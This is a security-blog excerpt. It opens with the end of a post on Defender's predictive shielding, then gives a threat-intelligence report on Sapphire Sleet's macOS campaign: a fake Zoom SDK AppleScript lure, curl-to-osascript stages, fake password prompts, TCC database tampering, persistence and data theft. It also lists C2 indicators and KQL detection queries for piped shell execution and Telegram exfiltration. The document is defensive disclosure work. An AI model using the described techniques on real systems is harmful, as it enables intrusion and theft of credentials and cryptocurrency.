When predictive shielding went live, it helped shift the story and we then saw the change of pace—instead of reacting to each newly abused account, the capability allowed Defender to act preemptively and turn credential theft attempts into blocked pivots. Defender was able to block new sign-ins and interactive pivots, not just for the single abused account, but also for context-linked identities that were active on the same compromised surfaces.

With high-value identities pre-contained, the adversary shifted tradecraft and chased other credential sources, but each of their subsequent attempts triggered targeted containment that limited their lateral reach until they lost momentum and stopped. How this incident concluded is the operational “tell” that containment is working, in that once privileged pivots get blocked, threat actors often hunt for alternate credential sources, and defenses must continue following the moving blast radius.

As predictive shielding matures, it will continue to expand its prediction logic and context-linked identities.

MITRE ATT&CK® techniques observed

The following table maps observed behaviors to ATT&CK®.

Tactics shown are per technique definition.

Learn more

For more information about automatic attack disruption and predictive shielding, see the following Microsoft Learn articles:

• Check out our latest Ninja show showcasing how predictive shielding expands to identity centric attacks
• Automatic attack disruption in Microsoft Defender XDR
• Predictive shielding in Microsoft Defender (Preview)

The post Containing a domain compromise: How predictive shielding shut down lateral movement appeared first on Microsoft Security Blog.

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

